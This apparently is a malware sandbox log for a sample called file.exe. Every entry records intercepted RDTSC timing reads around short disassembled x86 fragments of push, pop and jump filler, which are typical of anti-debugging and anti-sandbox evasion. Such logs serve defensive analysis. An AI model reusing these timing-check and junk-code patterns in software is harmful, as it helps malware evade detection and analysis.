Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DBB5A second address: 8DBB78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jmp 00007FE1C8D8FEC2h 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DBB78 second address: 8DBB81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD3E5 second address: 8DD3E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD3E9 second address: 8DD3EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD3EF second address: 8DD3F4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD3F4 second address: 8DD3FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA4D1 second address: 8EA4D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA4D5 second address: 8EA4EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D9686Bh 0x00000007 jns 00007FE1C8D96866h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA4EE second address: 8EA4F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA4F2 second address: 8EA4F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA4F6 second address: 8EA505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE1C8D8FEB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA505 second address: 8EA518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE1C8D9686Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA518 second address: 8EA523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA523 second address: 8EA527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA527 second address: 8EA534 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE1C8D8FEB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA534 second address: 8EA53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA53A second address: 8EA567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C8D8FEC5h 0x00000009 popad 0x0000000a jmp 00007FE1C8D8FEBFh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC941 second address: 8EC949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ECAB2 second address: 8ECAFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C8D8FEC1h 0x00000009 popad 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push esi 0x0000000d jnc 00007FE1C8D8FEB6h 0x00000013 jc 00007FE1C8D8FEB6h 0x00000019 pop esi 0x0000001a pushad 0x0000001b jmp 00007FE1C8D8FEC2h 0x00000020 jmp 00007FE1C8D8FEBBh 0x00000025 popad 0x00000026 jl 00007FE1C8D8FEBCh 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF76B second address: 8EF779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF779 second address: 8EF77F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F41F1 second address: 8F41FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FE1C8D96866h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F41FE second address: 8F4209 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FE1C8D8FEB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900894 second address: 90089A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 901EB2 second address: 901EB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90764F second address: 907653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90610D second address: 906111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906111 second address: 906115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906115 second address: 906133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE1C8D8FEB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007FE1C8D8FEC2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906133 second address: 90613F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE1C8D96866h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9062EB second address: 9062F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906652 second address: 90666E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE1C8D96866h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FE1C8D9686Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9067D8 second address: 9067DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B906 second address: 90B913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE1C8D96866h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B913 second address: 90B918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B918 second address: 90B91E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90BA78 second address: 90BA7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90BA7E second address: 90BA88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90BA88 second address: 90BA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90BA8C second address: 90BA96 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90BA96 second address: 90BAA4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90BAA4 second address: 90BAAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90BAAA second address: 90BAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91526A second address: 91526F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91526F second address: 915292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007FE1C8D8FEC8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916AA5 second address: 916AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE1C8D96871h 0x0000000d popad 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007FE1C8D9686Fh 0x00000016 jno 00007FE1C8D96866h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91B6D2 second address: 91B6F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C8D8FEC3h 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FE1C8D8FEB6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91B6F3 second address: 91B6F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91CC30 second address: 91CC3A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE1C8D8FEB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921F7E second address: 921F82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921F82 second address: 921F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jno 00007FE1C8D8FEB6h 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921DED second address: 921E0A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FE1C8D96873h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921E0A second address: 921E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92FF6C second address: 92FF7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007FE1C8D96866h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92FF7B second address: 92FF7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92FF7F second address: 92FF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92FB64 second address: 92FB6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92FB6A second address: 92FB76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FE1C8D96866h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9447A8 second address: 9447AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9448D9 second address: 9448E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9448E4 second address: 9448E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944A44 second address: 944A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE1C8D96866h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944BB0 second address: 944BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FE1C8D8FEC9h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944BD5 second address: 944BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C8D96871h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944BF0 second address: 944BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944BF6 second address: 944C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FE1C8D96866h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944C03 second address: 944C07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944E3E second address: 944E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944E43 second address: 944E67 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE1C8D8FECEh 0x00000008 jmp 00007FE1C8D8FEC8h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944E67 second address: 944E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944E6D second address: 944E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944E71 second address: 944E75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944FE4 second address: 944FEA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944FEA second address: 944FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 944FF0 second address: 945012 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jl 00007FE1C8D8FEBCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 945012 second address: 945019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 945181 second address: 94519D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D8FEC8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94519D second address: 9451A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94533D second address: 945341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9454E7 second address: 9454FA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jno 00007FE1C8D96866h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9454FA second address: 945500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AC47 second address: 94AC4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AFA9 second address: 94AFAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94CA52 second address: 94CA59 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E481 second address: 94E4AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE1C8D8FEC2h 0x00000013 jmp 00007FE1C8D8FEBDh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230323 second address: 5230350 instructions: 0x00000000 rdtsc 0x00000002 mov ah, C5h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushfd 0x00000009 jmp 00007FE1C8D9686Dh 0x0000000e adc si, FE56h 0x00000013 jmp 00007FE1C8D96871h 0x00000018 popfd 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230350 second address: 523037E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C8D8FEC0h 0x00000008 adc si, A878h 0x0000000d jmp 00007FE1C8D8FEBBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523037E second address: 5230384 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230384 second address: 52303B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 158D669Fh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FE1C8D8FEC0h 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 mov cx, A2DDh 0x00000017 mov cx, 8FD9h 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52303FB second address: 5230424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D96876h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE1C8D9686Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230424 second address: 523042A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523042A second address: 523043B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D9686Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523043B second address: 523043F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52507FC second address: 5250800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250800 second address: 5250806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250806 second address: 525080C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525080C second address: 5250864 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a call 00007FE1C8D8FEBCh 0x0000000f pushfd 0x00000010 jmp 00007FE1C8D8FEC2h 0x00000015 jmp 00007FE1C8D8FEC5h 0x0000001a popfd 0x0000001b pop ecx 0x0000001c mov edx, 0243DF54h 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FE1C8D8FEBFh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250864 second address: 525086A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525086A second address: 525086E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525086E second address: 52508AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b jmp 00007FE1C8D96877h 0x00000010 lea eax, dword ptr [ebp-04h] 0x00000013 pushad 0x00000014 mov si, F08Bh 0x00000018 mov bx, ax 0x0000001b popad 0x0000001c nop 0x0000001d jmp 00007FE1C8D9686Ah 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
